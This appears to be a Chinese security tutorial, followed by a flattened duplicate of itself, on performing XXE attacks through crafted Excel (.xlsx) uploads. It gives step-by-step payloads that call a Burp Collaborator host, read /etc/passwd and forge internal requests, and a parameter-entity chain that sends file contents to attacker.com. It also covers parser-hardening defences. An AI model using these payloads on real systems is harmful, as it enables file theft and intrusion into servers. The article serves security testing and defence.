利用EXCEL进行XXE攻击
字数 1676 2025-08-27 12:33:54

利用Excel进行XXE攻击技术详解

0x00 前言

XML外部实体攻击(XXE)是一种常见的安全漏洞,特别是在基于HTTP的API中。本技术文档将详细介绍如何通过Excel文件进行XXE攻击,这种攻击方式利用了现代Office文件(包括Excel)的XML基础结构。

0x01 技术背景

Office Open XML (OOXML)格式

  • 所有Office 2007及以后版本的文件格式实际上都是XML文档的zip压缩包
  • Excel文件(.xlsx)解压后包含多个XML文件
  • 许多应用程序在处理上传的Excel文件时会解析这些XML文件
  • 如果XML解析器配置不安全,就可能存在XXE漏洞

0x02 攻击准备

所需工具

  1. 任意Excel文件(可使用Google Sheets创建并下载为.xlsx格式)
  2. 解压缩工具(unzip)
  3. 压缩工具(zip)
  4. Burp Suite Professional(用于Burp Collaborator功能)

目标环境

  • 接受Excel文件上传的Web应用程序
  • 应用程序会解析Excel文件内容
  • XML解析器未禁用外部实体引用

0x03 攻击步骤详解

第一步:准备Excel文件

  1. 创建一个新的空白Excel文件
  2. 可以添加一些内容(非必需)
  3. 保存为.xlsx格式

第二步:解压Excel文件

$ mkdir XXE && cd XXE
$ unzip ../yourfile.xlsx

解压后会得到以下典型文件结构:

xl/drawings/drawing1.xml
xl/worksheets/sheet1.xml
xl/worksheets/_rels/sheet1.xml.rels
xl/sharedStrings.xml
xl/styles.xml
xl/workbook.xml
xl/_rels/workbook.xml.rels
_rels/.rels
[Content_Types].xml

第三步:识别易受攻击的XML文件

根据经验,以下文件最可能被解析:

  1. xl/workbook.xml - 包含工作簿概述和工作表列表
  2. xl/worksheets/sheetX.xml - 单个工作表内容
  3. xl/sharedStrings.xml - 共享字符串内容

大多数应用程序会先解析xl/workbook.xml获取工作表列表,然后分别读取各工作表内容。

第四步:构造XXE载荷

  1. 打开Burp Suite Professional
  2. 启动Burp Collaborator客户端
  3. 复制生成的Collaborator域名(如gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net)

编辑xl/workbook.xml文件,在第2行和第3行插入以下内容(使用你的Collaborator域名):

<!DOCTYPE x [
 <!ENTITY xxe SYSTEM "http://yourcollaboratordomain.burpcollaborator.net/">
]>
<x>&xxe;</x>

第五步:重新打包Excel文件

$ zip -r ../poc.xslx *

第六步:上传恶意Excel文件

将生成的poc.xslx文件上传到目标应用程序。

第七步:验证攻击

检查Burp Collaborator客户端是否有HTTP或DNS请求记录,确认XXE漏洞存在。

0x04 技术原理分析

Excel文件结构解析

现代Excel文件(.xlsx)实际上是包含多个XML文件的zip压缩包。当应用程序解析这些XML文件时:

  1. 如果XML解析器启用了外部实体引用
  2. 且未正确配置安全选项
  3. 攻击者可以在XML中插入恶意实体声明
  4. 解析时会尝试解析这些外部实体
  5. 导致服务器向攻击者控制的地址发起请求

盲XXE攻击技术

当无法直接看到响应时,可以使用Burp Collaborator进行盲检测:

  1. 通过DNS或HTTP请求确认漏洞
  2. 即使应用阻止HTTP出站请求,可能仍允许DNS查询
  3. Collaborator可以同时捕获两种类型的交互

0x05 防御措施

针对开发人员

  1. 禁用XML外部实体处理:

    // Java示例
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 使用安全的XML解析器配置

  3. 对上传的Excel文件进行严格验证

针对系统管理员

  1. 限制服务器出站网络连接
  2. 监控异常DNS查询
  3. 使用Web应用防火墙(WAF)规则检测XXE攻击

0x06 扩展攻击技术

一旦确认XXE漏洞存在,可以尝试以下技术:

  1. 文件读取攻击:

    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    
  2. 服务器端请求伪造(SSRF):

    <!ENTITY xxe SYSTEM "http://internal-server/">
    
  3. 数据外带技术:

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
    %eval;
    %exfil;
    

0x07 总结

通过Excel文件进行XXE攻击是一种有效但常被忽视的攻击方式。防御关键在于:

  1. 安全配置XML解析器
  2. 严格验证上传文件
  3. 限制服务器网络访问

这种攻击技术同样适用于其他Office Open XML格式文件,如Word(.docx)和PowerPoint(.pptx)。

利用Excel进行XXE攻击技术详解 0x00 前言 XML外部实体攻击(XXE)是一种常见的安全漏洞,特别是在基于HTTP的API中。本技术文档将详细介绍如何通过Excel文件进行XXE攻击,这种攻击方式利用了现代Office文件(包括Excel)的XML基础结构。 0x01 技术背景 Office Open XML (OOXML)格式 所有Office 2007及以后版本的文件格式实际上都是XML文档的zip压缩包 Excel文件(.xlsx)解压后包含多个XML文件 许多应用程序在处理上传的Excel文件时会解析这些XML文件 如果XML解析器配置不安全,就可能存在XXE漏洞 0x02 攻击准备 所需工具 任意Excel文件(可使用Google Sheets创建并下载为.xlsx格式) 解压缩工具(unzip) 压缩工具(zip) Burp Suite Professional(用于Burp Collaborator功能) 目标环境 接受Excel文件上传的Web应用程序 应用程序会解析Excel文件内容 XML解析器未禁用外部实体引用 0x03 攻击步骤详解 第一步:准备Excel文件 创建一个新的空白Excel文件 可以添加一些内容(非必需) 保存为.xlsx格式 第二步:解压Excel文件 解压后会得到以下典型文件结构: 第三步:识别易受攻击的XML文件 根据经验,以下文件最可能被解析: xl/workbook.xml - 包含工作簿概述和工作表列表 xl/worksheets/sheetX.xml - 单个工作表内容 xl/sharedStrings.xml - 共享字符串内容 大多数应用程序会先解析 xl/workbook.xml 获取工作表列表,然后分别读取各工作表内容。 第四步:构造XXE载荷 打开Burp Suite Professional 启动Burp Collaborator客户端 复制生成的Collaborator域名(如 gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net ) 编辑 xl/workbook.xml 文件,在第2行和第3行插入以下内容(使用你的Collaborator域名): 第五步:重新打包Excel文件 第六步:上传恶意Excel文件 将生成的 poc.xslx 文件上传到目标应用程序。 第七步:验证攻击 检查Burp Collaborator客户端是否有HTTP或DNS请求记录,确认XXE漏洞存在。 0x04 技术原理分析 Excel文件结构解析 现代Excel文件(.xlsx)实际上是包含多个XML文件的zip压缩包。当应用程序解析这些XML文件时: 如果XML解析器启用了外部实体引用 且未正确配置安全选项 攻击者可以在XML中插入恶意实体声明 解析时会尝试解析这些外部实体 导致服务器向攻击者控制的地址发起请求 盲XXE攻击技术 当无法直接看到响应时,可以使用Burp Collaborator进行盲检测: 通过DNS或HTTP请求确认漏洞 即使应用阻止HTTP出站请求,可能仍允许DNS查询 Collaborator可以同时捕获两种类型的交互 0x05 防御措施 针对开发人员 禁用XML外部实体处理: 使用安全的XML解析器配置 对上传的Excel文件进行严格验证 针对系统管理员 限制服务器出站网络连接 监控异常DNS查询 使用Web应用防火墙(WAF)规则检测XXE攻击 0x06 扩展攻击技术 一旦确认XXE漏洞存在,可以尝试以下技术: 文件读取攻击: 服务器端请求伪造(SSRF): 数据外带技术: 0x07 总结 通过Excel文件进行XXE攻击是一种有效但常被忽视的攻击方式。防御关键在于: 安全配置XML解析器 严格验证上传文件 限制服务器网络访问 这种攻击技术同样适用于其他Office Open XML格式文件,如Word(.docx)和PowerPoint(.pptx)。